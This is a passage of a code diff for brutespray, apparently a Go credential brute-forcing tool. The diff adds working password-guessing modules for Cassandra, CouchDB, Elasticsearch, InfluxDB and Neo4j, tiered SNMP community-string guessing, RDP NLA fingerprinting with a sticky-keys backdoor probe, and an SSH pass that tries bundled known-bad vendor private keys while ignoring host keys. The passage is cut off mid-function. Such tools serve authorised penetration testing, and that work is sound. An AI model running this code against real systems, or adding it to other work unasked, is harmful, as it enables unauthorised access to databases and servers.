+ "github.com/gocql/gocql"
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func BruteCassandra(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult {
+ return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult {
+ cluster := gocql.NewCluster(fmt.Sprintf("%s:%d", host, port))
+ cluster.ProtoVersion = 4
+ cluster.ConnectTimeout = timeout
+ cluster.Timeout = timeout
+ cluster.Authenticator = gocql.PasswordAuthenticator{
+ Username: user,
+ Password: password,
+ }
+ cluster.DisableInitialHostLookup = true
+ sess, err := cluster.CreateSession()
+ if err != nil {
+ msg := err.Error()
+ if strings.Contains(msg, "Authentication") ||
+ strings.Contains(msg, "Bad credentials") ||
+ strings.Contains(msg, "Unauthorized") {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, Error: err}
+ }
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ defer sess.Close()
+ return &BruteResult{AuthSuccess: true, ConnectionSuccess: true}
+ })
+}
+
+func init() { Register("cassandra", BruteCassandra) }
diff --git a/brute/cassandra_test.go b/brute/cassandra_test.go
new file mode 100644
index 0000000..e95160a
--- /dev/null
+++ b/brute/cassandra_test.go
@@ -0,0 +1,22 @@
+package brute
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestBruteCassandraNoServer(t *testing.T) {
+ cm, _ := modules.NewConnectionManager("", 1*time.Second, "")
+ r := BruteCassandra("127.0.0.1", 1, "cassandra", "cassandra", 1*time.Second, cm, nil)
+ if r.ConnectionSuccess {
+ t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r)
+ }
+}
+
+func TestBruteCassandraRegistered(t *testing.T) {
+ if !IsRegistered("cassandra") {
+ t.Fatal("cassandra module not registered")
+ }
+}
diff --git a/brute/couchdb.go b/brute/couchdb.go
new file mode 100644
index 0000000..423aeb3
--- /dev/null
+++ b/brute/couchdb.go
@@ -0,0 +1,54 @@
+package brute
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "net/http"
+ "net/url"
+ "strconv"
+ "strings"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func BruteCouchDB(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult {
+ return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult {
+ scheme := "http"
+ if params["tls"] == "true" {
+ scheme = "https"
+ }
+ endpoint := fmt.Sprintf("%s://%s/_session", scheme, net.JoinHostPort(host, strconv.Itoa(port)))
+ tr := &http.Transport{
+ DialContext: func(_ context.Context, network, addr string) (net.Conn, error) {
+ return cm.Dial(network, addr)
+ },
+ DisableKeepAlives: true,
+ }
+ cl := &http.Client{Transport: tr, Timeout: timeout}
+ form := url.Values{"name": {user}, "password": {password}}
+ req, err := http.NewRequestWithContext(ctx, "POST", endpoint, strings.NewReader(form.Encode()))
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+ resp, err := cl.Do(req)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ defer resp.Body.Close()
+ switch resp.StatusCode {
+ case 200:
+ return &BruteResult{AuthSuccess: true, ConnectionSuccess: true}
+ case 401:
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true,
+ Error: fmt.Errorf("couchdb 401")}
+ default:
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true,
+ Error: fmt.Errorf("couchdb status %d", resp.StatusCode)}
+ }
+ })
+}
+
+func init() { Register("couchdb", BruteCouchDB) }
diff --git a/brute/couchdb_test.go b/brute/couchdb_test.go
new file mode 100644
index 0000000..f814df6
--- /dev/null
+++ b/brute/couchdb_test.go
@@ -0,0 +1,22 @@
+package brute
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestBruteCouchDBNoServer(t *testing.T) {
+ cm, _ := modules.NewConnectionManager("", 1*time.Second, "")
+ r := BruteCouchDB("127.0.0.1", 1, "admin", "admin", 1*time.Second, cm, nil)
+ if r.ConnectionSuccess {
+ t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r)
+ }
+}
+
+func TestBruteCouchDBRegistered(t *testing.T) {
+ if !IsRegistered("couchdb") {
+ t.Fatal("couchdb module not registered")
+ }
+}
diff --git a/brute/elasticsearch.go b/brute/elasticsearch.go
new file mode 100644
index 0000000..02dc22f
--- /dev/null
+++ b/brute/elasticsearch.go
@@ -0,0 +1,51 @@
+package brute
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "net/http"
+ "strconv"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func BruteElasticsearch(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult {
+ return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult {
+ scheme := "http"
+ if params["tls"] == "true" {
+ scheme = "https"
+ }
+ endpoint := fmt.Sprintf("%s://%s/_cluster/health", scheme, net.JoinHostPort(host, strconv.Itoa(port)))
+ tr := &http.Transport{
+ DialContext: func(_ context.Context, network, addr string) (net.Conn, error) {
+ return cm.Dial(network, addr)
+ },
+ DisableKeepAlives: true,
+ }
+ cl := &http.Client{Transport: tr, Timeout: timeout}
+ req, err := http.NewRequestWithContext(ctx, "GET", endpoint, nil)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ req.SetBasicAuth(user, password)
+ resp, err := cl.Do(req)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ defer resp.Body.Close()
+ switch resp.StatusCode {
+ case 200:
+ return &BruteResult{AuthSuccess: true, ConnectionSuccess: true}
+ case 401, 403:
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true,
+ Error: fmt.Errorf("elasticsearch %d", resp.StatusCode)}
+ default:
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true,
+ Error: fmt.Errorf("elasticsearch status %d", resp.StatusCode)}
+ }
+ })
+}
+
+func init() { Register("elasticsearch", BruteElasticsearch) }
diff --git a/brute/elasticsearch_test.go b/brute/elasticsearch_test.go
new file mode 100644
index 0000000..ed0c4cf
--- /dev/null
+++ b/brute/elasticsearch_test.go
@@ -0,0 +1,22 @@
+package brute
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestBruteElasticsearchNoServer(t *testing.T) {
+ cm, _ := modules.NewConnectionManager("", 1*time.Second, "")
+ r := BruteElasticsearch("127.0.0.1", 1, "elastic", "elastic", 1*time.Second, cm, nil)
+ if r.ConnectionSuccess {
+ t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r)
+ }
+}
+
+func TestBruteElasticsearchRegistered(t *testing.T) {
+ if !IsRegistered("elasticsearch") {
+ t.Fatal("elasticsearch module not registered")
+ }
+}
diff --git a/brute/influxdb.go b/brute/influxdb.go
new file mode 100644
index 0000000..f0b14be
--- /dev/null
+++ b/brute/influxdb.go
@@ -0,0 +1,64 @@
+package brute
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "net/http"
+ "strconv"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+// BruteInfluxDB targets InfluxDB. v2 (default): `password` is the InfluxDB
+// token; the endpoint /api/v2/orgs returns 200 on valid auth, 401 on invalid.
+// v1: pass `-m mode:v1` to use /ping with HTTP basic auth instead.
+func BruteInfluxDB(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult {
+ return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult {
+ scheme := "http"
+ if params["tls"] == "true" {
+ scheme = "https"
+ }
+ v1 := params["mode"] == "v1"
+ var endpoint string
+ if v1 {
+ endpoint = fmt.Sprintf("%s://%s/ping", scheme, net.JoinHostPort(host, strconv.Itoa(port)))
+ } else {
+ endpoint = fmt.Sprintf("%s://%s/api/v2/orgs", scheme, net.JoinHostPort(host, strconv.Itoa(port)))
+ }
+ tr := &http.Transport{
+ DialContext: func(_ context.Context, network, addr string) (net.Conn, error) {
+ return cm.Dial(network, addr)
+ },
+ DisableKeepAlives: true,
+ }
+ cl := &http.Client{Transport: tr, Timeout: timeout}
+ req, err := http.NewRequestWithContext(ctx, "GET", endpoint, nil)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ if v1 {
+ req.SetBasicAuth(user, password)
+ } else {
+ req.Header.Set("Authorization", "Token "+password)
+ }
+ resp, err := cl.Do(req)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ defer resp.Body.Close()
+ switch resp.StatusCode {
+ case 200, 204:
+ return &BruteResult{AuthSuccess: true, ConnectionSuccess: true}
+ case 401, 403:
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true,
+ Error: fmt.Errorf("influxdb %d", resp.StatusCode)}
+ default:
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true,
+ Error: fmt.Errorf("influxdb status %d", resp.StatusCode)}
+ }
+ })
+}
+
+func init() { Register("influxdb", BruteInfluxDB) }
diff --git a/brute/influxdb_test.go b/brute/influxdb_test.go
new file mode 100644
index 0000000..14a3d01
--- /dev/null
+++ b/brute/influxdb_test.go
@@ -0,0 +1,31 @@
+package brute
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestBruteInfluxDBNoServer(t *testing.T) {
+ cm, _ := modules.NewConnectionManager("", 1*time.Second, "")
+ r := BruteInfluxDB("127.0.0.1", 1, "admin", "admin", 1*time.Second, cm, nil)
+ if r.ConnectionSuccess {
+ t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r)
+ }
+}
+
+func TestBruteInfluxDBRegistered(t *testing.T) {
+ if !IsRegistered("influxdb") {
+ t.Fatal("influxdb module not registered")
+ }
+}
+
+func TestBruteInfluxDBV1Mode(t *testing.T) {
+ cm, _ := modules.NewConnectionManager("", 1*time.Second, "")
+ r := BruteInfluxDB("127.0.0.1", 1, "admin", "admin", 1*time.Second, cm, ModuleParams{"mode": "v1"})
+ // Just confirm v1 path doesn't panic on closed-port path
+ if r.ConnectionSuccess {
+ t.Fatalf("v1 mode: expected ConnectionSuccess=false, got %+v", r)
+ }
+}
diff --git a/brute/neo4j.go b/brute/neo4j.go
new file mode 100644
index 0000000..bb35368
--- /dev/null
+++ b/brute/neo4j.go
@@ -0,0 +1,46 @@
+package brute
+
+import (
+ "context"
+ "fmt"
+ "strings"
+ "time"
+
+ "github.com/neo4j/neo4j-go-driver/v5/neo4j"
+ "github.com/neo4j/neo4j-go-driver/v5/neo4j/config"
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+// BruteNeo4j attempts to authenticate against a Neo4j Bolt v5 server.
+//
+// Note: neo4j-go-driver/v5 does not expose a custom net.Dialer on the public
+// Config API, so proxy/interface routing via cm does not apply to Neo4j
+// attempts. The cm parameter is accepted for interface consistency but unused.
+func BruteNeo4j(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult {
+ return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult {
+ uri := fmt.Sprintf("bolt://%s:%d", host, port)
+ driver, err := neo4j.NewDriverWithContext(uri, neo4j.BasicAuth(user, password, ""),
+ func(c *config.Config) {
+ c.SocketConnectTimeout = timeout
+ })
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ defer driver.Close(ctx)
+
+ err = driver.VerifyConnectivity(ctx)
+ if err != nil {
+ msg := err.Error()
+ if strings.Contains(msg, "AuthenticationRateLimit") ||
+ strings.Contains(msg, "Unauthorized") ||
+ strings.Contains(msg, "credentials") ||
+ strings.Contains(msg, "Neo.ClientError.Security.Unauthorized") {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, Error: err}
+ }
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ return &BruteResult{AuthSuccess: true, ConnectionSuccess: true}
+ })
+}
+
+func init() { Register("neo4j", BruteNeo4j) }
diff --git a/brute/neo4j_test.go b/brute/neo4j_test.go
new file mode 100644
index 0000000..f0d36db
--- /dev/null
+++ b/brute/neo4j_test.go
@@ -0,0 +1,22 @@
+package brute
+
+import (
+ "testing"
+ "time"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestBruteNeo4jNoServer(t *testing.T) {
+ cm, _ := modules.NewConnectionManager("", 1*time.Second, "")
+ r := BruteNeo4j("127.0.0.1", 1, "neo4j", "neo4j", 1*time.Second, cm, nil)
+ if r.ConnectionSuccess {
+ t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r)
+ }
+}
+
+func TestBruteNeo4jRegistered(t *testing.T) {
+ if !IsRegistered("neo4j") {
+ t.Fatal("neo4j module not registered")
+ }
+}
diff --git a/brute/rdp.go b/brute/rdp.go
index ccbfc4f..fa0a727 100644
--- a/brute/rdp.go
+++ b/brute/rdp.go
@@ -1,11 +1,15 @@
package brute
import (
+ "bytes"
"context"
"errors"
"fmt"
+ "image"
+ _ "image/png"
"io"
"log"
+ "os"
"time"
"github.com/x90skysn3k/brutespray/v2/modules"
@@ -52,3 +56,139 @@ func BruteRDP(host string, port int, user, password string, timeout time.Duratio
}
func init() { Register("rdp", BruteRDP) }
+
+func nlaFinding(status string) *Finding {
+ switch status {
+ case "required":
+ return &Finding{Severity: "INFO", Code: "rdp-nla-required",
+ Message: "NLA (CredSSP) enforced"}
+ case "not-enforced":
+ return &Finding{Severity: "WARN", Code: "rdp-nla-missing",
+ Message: "NLA not enforced — server accepts standard RDP without pre-auth"}
+ case "hybrid-ex":
+ return &Finding{Severity: "INFO", Code: "rdp-nla-hybridex",
+ Message: "HybridEx (NLA + CredSSP early-user auth) enforced"}
+ }
+ return nil
+}
+
+// ScanRDPRecon runs pre-auth RDP recon (NLA fingerprint, sticky-keys probe)
+// against a single target. Returns a slice of findings to emit. Called once
+// per host by the dispatcher before any brute attempts.
+func ScanRDPRecon(host string, port int, timeout time.Duration) []*Finding {
+ target := fmt.Sprintf("%s:%d", host, port)
+ ctx, cancel := context.WithTimeout(context.Background(), timeout)
+ defer cancel()
+ status, err := client.FingerprintNLA(ctx, target, timeout)
+ if err != nil {
+ return nil
+ }
+ var out []*Finding
+ switch status {
+ case client.NLARequired:
+ out = append(out, nlaFinding("required"))
+ case client.NLANotEnforced:
+ out = append(out, nlaFinding("not-enforced"))
+ case client.NLAHybridEx:
+ out = append(out, nlaFinding("hybrid-ex"))
+ }
+ // Sticky-keys probe: only meaningful when the server accepts standard RDP
+ // (no NLA), because that's the only mode where the GINA/logon screen is
+ // reachable without credentials.
+ if status == client.NLANotEnforced {
+ c := &client.RdpClient{}
+ before, after, stickyErr := c.CaptureLogonScreen(ctx, target, client.TriggerShift5x, timeout)
+ c.Close()
+ if stickyErr == nil {
+ if f := stickyKeysVerdict(
+ looksLikeCmdConsole(before),
+ looksLikeCmdConsole(after),
+ framebuffersDiffer(before, after),
+ ); f != nil {
+ out = append(out, f)
+ }
+ } else {
+ // Probe error suppressed from output — emitting a stickykeys
+ // finding without a successful capture would mislead. Diagnostics
+ // land on stderr for operators who care.
+ fmt.Fprintf(os.Stderr, "rdp sticky-keys probe %s: %v\n", target, stickyErr)
+ }
+ }
+ return out
+}
+
+// stickyKeysVerdict produces a Finding (or nil) from the before/after analysis.
+func stickyKeysVerdict(beforeCmd, afterCmd, differ bool) *Finding {
+ if !differ {
+ return nil
+ }
+ if afterCmd && !beforeCmd {
+ return &Finding{
+ Severity: "CRITICAL",
+ Code: "rdp-stickykeys",
+ Message: "sticky-keys backdoor detected (cmd.exe shell at logon screen)",
+ }
+ }
+ return &Finding{
+ Severity: "INFO",
+ Code: "rdp-stickykeys-inconclusive",
+ Message: "logon screen reacted to sticky-keys trigger but no console signature detected; manual verification recommended",
+ }
+}
+
+// looksLikeCmdConsole applies a pixel-ratio heuristic to a PNG-encoded
+// framebuffer snapshot: a cmd.exe window in its default colour scheme
+// covers the top-left region of the screen with predominantly black
+// pixels (background) and a small proportion of white pixels (text).
+func looksLikeCmdConsole(pngBytes []byte) bool {
+ if len(pngBytes) == 0 {
+ return false
+ }
+ img, _, err := image.Decode(bytes.NewReader(pngBytes))
+ if err != nil {
+ return false
+ }
+ b := img.Bounds()
+ maxX := b.Min.X + 400
+ if maxX > b.Max.X {
+ maxX = b.Max.X
+ }
+ maxY := b.Min.Y + 200
+ if maxY > b.Max.Y {
+ maxY = b.Max.Y
+ }
+ var total, black, white int
+ for y := b.Min.Y; y < maxY; y++ {
+ for x := b.Min.X; x < maxX; x++ {
+ r, g, bl, _ := img.At(x, y).RGBA()
+ r >>= 8
+ g >>= 8
+ bl >>= 8
+ total++
+ switch {
+ case r < 32 && g < 32 && bl < 32:
+ black++
+ case r > 200 && g > 200 && bl > 200:
+ white++
+ }
+ }
+ }
+ if total == 0 {
+ return false
+ }
+ blackPct := float64(black) / float64(total)
+ whitePct := float64(white) / float64(total)
+ return blackPct > 0.65 && whitePct > 0.02 && whitePct < 0.15
+}
+
+// framebuffersDiffer reports whether two PNG-encoded framebuffer snapshots
+// differ at the byte level. A length difference also counts as a difference.
+func framebuffersDiffer(a, b []byte) bool {
+ if len(a) == 0 || len(b) == 0 {
+ return false
+ }
+ if len(a) != len(b) {
+ return true
+ }
+ return !bytes.Equal(a, b)
+}
diff --git a/brute/rdp_nla_test.go b/brute/rdp_nla_test.go
new file mode 100644
index 0000000..067bbd2
--- /dev/null
+++ b/brute/rdp_nla_test.go
@@ -0,0 +1,28 @@
+package brute
+
+import "testing"
+
+func TestNLAFindingFromStatus(t *testing.T) {
+ cases := []struct {
+ status string
+ wantSev string
+ wantCode string
+ }{
+ {"required", "INFO", "rdp-nla-required"},
+ {"not-enforced", "WARN", "rdp-nla-missing"},
+ {"hybrid-ex", "INFO", "rdp-nla-hybridex"},
+ {"unknown", "", ""},
+ }
+ for _, c := range cases {
+ f := nlaFinding(c.status)
+ if c.wantCode == "" {
+ if f != nil {
+ t.Fatalf("status %q: expected nil finding, got %+v", c.status, f)
+ }
+ continue
+ }
+ if f == nil || f.Severity != c.wantSev || f.Code != c.wantCode {
+ t.Fatalf("status %q: got %+v want sev=%s code=%s", c.status, f, c.wantSev, c.wantCode)
+ }
+ }
+}
diff --git a/brute/rdp_stickykeys_test.go b/brute/rdp_stickykeys_test.go
new file mode 100644
index 0000000..dff659f
--- /dev/null
+++ b/brute/rdp_stickykeys_test.go
@@ -0,0 +1,54 @@
+package brute
+
+import "testing"
+
+func TestStickyKeysVerdictFromFlags(t *testing.T) {
+ cases := []struct {
+ name string
+ beforeIsCmdLike bool
+ afterIsCmdLike bool
+ differ bool
+ wantSev string
+ wantCode string
+ }{
+ {"identical-no-change", false, false, false, "", ""},
+ {"change-but-not-cmd", false, false, true, "INFO", "rdp-stickykeys-inconclusive"},
+ {"change-to-cmd", false, true, true, "CRITICAL", "rdp-stickykeys"},
+ }
+ for _, c := range cases {
+ got := stickyKeysVerdict(c.beforeIsCmdLike, c.afterIsCmdLike, c.differ)
+ if c.wantCode == "" {
+ if got != nil {
+ t.Fatalf("%s: want nil, got %+v", c.name, got)
+ }
+ continue
+ }
+ if got == nil || got.Severity != c.wantSev || got.Code != c.wantCode {
+ t.Fatalf("%s: got %+v want sev=%s code=%s", c.name, got, c.wantSev, c.wantCode)
+ }
+ }
+}
+
+func TestFramebuffersDiffer(t *testing.T) {
+ if framebuffersDiffer(nil, nil) {
+ t.Fatal("nil != nil")
+ }
+ if !framebuffersDiffer([]byte{1, 2, 3}, []byte{1, 2, 4}) {
+ t.Fatal("differ failed")
+ }
+ if framebuffersDiffer([]byte{1, 2, 3}, []byte{1, 2, 3}) {
+ t.Fatal("same flagged differ")
+ }
+ if !framebuffersDiffer([]byte{1, 2, 3}, []byte{1, 2, 3, 4}) {
+ t.Fatal("length diff missed")
+ }
+}
+
+func TestLooksLikeCmdConsoleOnGarbage(t *testing.T) {
+ if looksLikeCmdConsole(nil) {
+ t.Fatal("nil should be false")
+ }
+ if looksLikeCmdConsole([]byte("not a png")) {
+ t.Fatal("garbage should be false")
+ }
+}
diff --git a/brute/result_test.go b/brute/result_test.go
new file mode 100644
index 0000000..1fe4fe3
--- /dev/null
+++ b/brute/result_test.go
@@ -0,0 +1,37 @@
+package brute
+
+import "testing"
+
+func TestBruteResultCarriesFinding(t *testing.T) {
+ // shows Finding can coexist with non-auth result
+ r := &BruteResult{
+ ConnectionSuccess: true,
+ Finding: &Finding{
+ Severity: "CRITICAL",
+ Code: "rdp-stickykeys",
+ Message: "sticky-keys backdoor detected",
+ },
+ }
+ if r.Finding == nil || r.Finding.Code != "rdp-stickykeys" {
+ t.Fatalf("Finding not carried on BruteResult")
+ }
+}
+
+func TestBruteResultCarriesKeyMatch(t *testing.T) {
+ // success path: KeyMatch + AuthSuccess together
+ r := &BruteResult{
+ AuthSuccess: true,
+ ConnectionSuccess: true,
+ KeyMatch: &KeyMatch{
+ Fingerprint: "SHA256:abc",
+ Vendor: "Vagrant",
+ CVE: "CVE-2015-1338",
+ },
+ }
+ if r.KeyMatch == nil || r.KeyMatch.Vendor != "Vagrant" {
+ t.Fatalf("KeyMatch not carried on BruteResult")
+ }
+ if r.KeyMatch.CVE != "CVE-2015-1338" {
+ t.Fatalf("KeyMatch.CVE = %q, want CVE-2015-1338", r.KeyMatch.CVE)
+ }
+}
diff --git a/brute/run.go b/brute/run.go
index f55e734..f63eaeb 100644
--- a/brute/run.go
+++ b/brute/run.go
@@ -27,6 +27,8 @@ type BruteResult struct {
Banner string // service banner if captured
RetryDelay time.Duration // if > 0, module requests this delay before next retry (e.g. VNC anti-brute)
SkipUser bool // if true, skip remaining passwords for this user (e.g. FTP 530 user-not-found)
+ Finding *Finding // pre-auth recon result, nil if none
+ KeyMatch *KeyMatch // SSH bad-key match, nil if none
}
// CircuitBreaker tracks consecutive connection failures per host and trips
@@ -219,6 +221,10 @@ func RunBrute(h modules.Host, u string, p string, timeout time.Duration, maxRetr
if result {
// Authentication succeeded
modules.RecordSuccess(service, h.Host, h.Port, u, p, time.Since(startTime), modResult.Banner)
+ if modResult.KeyMatch != nil {
+ modules.PrintBadKeyResult(service, h.Host, h.Port, u,
+ modResult.KeyMatch.Vendor, modResult.KeyMatch.CVE, modResult.KeyMatch.Description)
+ }
} else {
// Authentication failed
modules.RecordError(false) // Authentication error
@@ -259,5 +265,12 @@ func RunBrute(h modules.Host, u string, p string, timeout time.Duration, maxRetr
}
modules.PrintResult(service, h.Host, h.Port, u, p, modResult.AuthSuccess, modResult.ConnectionSuccess, false, output, 0, modResult.Banner)
- return BruteResult{AuthSuccess: modResult.AuthSuccess, ConnectionSuccess: modResult.ConnectionSuccess, Banner: modResult.Banner, SkipUser: modResult.SkipUser}
+ return BruteResult{
+ AuthSuccess: modResult.AuthSuccess,
+ ConnectionSuccess: modResult.ConnectionSuccess,
+ Banner: modResult.Banner,
+ SkipUser: modResult.SkipUser,
+ Finding: modResult.Finding,
+ KeyMatch: modResult.KeyMatch,
+ }
}
diff --git a/brute/snmp.go b/brute/snmp.go
index 9578441..383db27 100644
--- a/brute/snmp.go
+++ b/brute/snmp.go
@@ -24,7 +24,16 @@ func BruteSNMP(host string, port int, user, password string, timeout time.Durati
hasher.Write([]byte(password))
md5Password := hex.EncodeToString(hasher.Sum(nil))
- communityStrings := []string{user, md5Password}
+ var communityStrings []string
+ tier := params["mode"]
+ if tier != "" {
+ if tierList, terr := modules.SNMPCommunities(tier); terr == nil {
+ communityStrings = tierList
+ }
+ }
+ if len(communityStrings) == 0 {
+ communityStrings = []string{user, md5Password}
+ }
// Pre-dial to check connectivity (UDP proxy not supported)
udpConn, err := cm.DialUDP("udp", fmt.Sprintf("%s:%d", host, port))
diff --git a/brute/snmp_tier_test.go b/brute/snmp_tier_test.go
new file mode 100644
index 0000000..155c2db
--- /dev/null
+++ b/brute/snmp_tier_test.go
@@ -0,0 +1,47 @@
+package brute
+
+import (
+ "testing"
+
+ "github.com/x90skysn3k/brutespray/v2/modules"
+)
+
+func TestSNMPCommunitiesTiersIncreasing(t *testing.T) {
+ def, err := modules.SNMPCommunities("default")
+ if err != nil {
+ t.Fatalf("default: %v", err)
+ }
+ ext, err := modules.SNMPCommunities("extended")
+ if err != nil {
+ t.Fatalf("extended: %v", err)
+ }
+ full, err := modules.SNMPCommunities("full")
+ if err != nil {
+ t.Fatalf("full: %v", err)
+ }
+ if !(len(def) > 0 && len(def) < len(ext) && len(ext) < len(full)) {
+ t.Fatalf("tier sizes should strictly increase: default=%d extended=%d full=%d",
+ len(def), len(ext), len(full))
+ }
+}
+
+func TestSNMPCommunitiesUnknownTierFallback(t *testing.T) {
+ got, err := modules.SNMPCommunities("nonsense")
+ if err != nil {
+ t.Fatalf("unknown tier should not error: %v", err)
+ }
+ def, _ := modules.SNMPCommunities("default")
+ if len(got) != len(def) {
+ t.Fatalf("unknown tier should match default size: got %d, default %d", len(got), len(def))
+ }
+}
+
+func TestSNMPCommunitiesIncludesPublic(t *testing.T) {
+ got, _ := modules.SNMPCommunities("default")
+ for _, c := range got {
+ if c == "public" {
+ return
+ }
+ }
+ t.Fatal("'public' should be in the default community list")
+}
diff --git a/brute/ssh.go b/brute/ssh.go
index 10d0358..e3d5a9f 100644
--- a/brute/ssh.go
+++ b/brute/ssh.go
@@ -4,18 +4,69 @@ import (
"fmt"
"net"
"os"
+ "strconv"
"strings"
"sync"
"time"
+ "github.com/x90skysn3k/brutespray/v2/brute/badkeys"
"github.com/x90skysn3k/brutespray/v2/modules"
"golang.org/x/crypto/ssh"
)
+// BadKeyAttempt is one user+key pair to try during the bad-keys pass.
+type BadKeyAttempt struct {
+ Username string
+ Entry badkeys.Entry
+}
+
+// PlanBadKeyAttempts produces the ordered list of SSH bad-key attempts for a
+// host. When userOverride is non-empty (operator passed -u explicitly), every
+// attempt uses that username; otherwise the entry's metadata-suggested user
+// is used (root for F5, vagrant for Vagrant, etc.).
+func PlanBadKeyAttempts(bundle []badkeys.Entry, userOverride string) []BadKeyAttempt {
+ out := make([]BadKeyAttempt, 0, len(bundle))
+ for _, e := range bundle {
+ u := e.Username
+ if userOverride != "" {
+ u = userOverride
+ }
+ out = append(out, BadKeyAttempt{Username: u, Entry: e})
+ }
+ return out
+}
+
+// badKeyMarker is the synthetic password prefix used by the dispatcher to
+// signal a bad-keys bundle attempt. The dispatcher emits passwords of the form
+// "::badkey::" before the user's actual password list, and BruteSSH
+// dispatches them to attemptBadKey. INTERNAL — not part of any public contract.
+const badKeyMarker = "::badkey::"
+
// sshKeyCache caches key file contents to avoid re-reading on every attempt.
var sshKeyCache sync.Map
func BruteSSH(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult {
+ // Bad-keys pre-pass: when the magic password marker "::badkey::" is in play,
+ // the caller is asking us to attempt a single embedded bad-key. The dispatcher
+ // (Task A4) emits these as synthetic credential pairs before regular passwords.
+ if idxStr, ok := strings.CutPrefix(password, badKeyMarker); ok {
+ idx, err := strconv.Atoi(idxStr)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false,
+ Error: fmt.Errorf("invalid badkey index: %w", err)}
+ }
+ bundle, err := badkeys.Load()
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false,
+ Error: fmt.Errorf("loading badkeys bundle: %w", err)}
+ }
+ if idx < 0 || idx >= len(bundle) {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false,
+ Error: fmt.Errorf("badkey index out of range: %d", idx)}
+ }
+ return attemptBadKey(host, port, user, bundle[idx], timeout, cm)
+ }
+
var authMethod ssh.AuthMethod
keyParam := params["key"]
@@ -153,4 +204,51 @@ func BruteSSH(host string, port int, user, password string, timeout time.Duratio
}
}
+func attemptBadKey(host string, port int, user string, e badkeys.Entry,
+ timeout time.Duration, cm *modules.ConnectionManager) *BruteResult {
+ // Fix 2: PEM parsing happens before any network I/O; a parse failure must
+ // not set ConnectionSuccess=true (no network was touched, circuit-breaker
+ // must not be credited with a success counter).
+ signer, err := ssh.ParsePrivateKey(e.PEM)
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false,
+ Error: fmt.Errorf("parsing badkey %s: %w", e.File, err)}
+ }
+ cfg := &ssh.ClientConfig{
+ User: user,
+ Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)},
+ HostKeyCallback: ssh.InsecureIgnoreHostKey(),
+ }
+ conn, err := cm.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
+ if err != nil {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
+ // Fix 1: ssh.ClientConfig.Timeout is only honoured by ssh.Dial, not by
+ // ssh.NewClientConn. Set a deadline on the raw connection so a slow
+ // responder cannot stall this worker goroutine for the OS socket timeout.
+ _ = conn.SetDeadline(time.Now().Add(timeout))
+ c, chans, reqs, err := ssh.NewClientConn(conn, net.JoinHostPort(host, strconv.Itoa(port)), cfg)
+ if err != nil {
+ conn.Close()
+ if strings.Contains(err.Error(), "unable to authenticate") {
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, Error: err}
+ }
+ return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err}
+ }
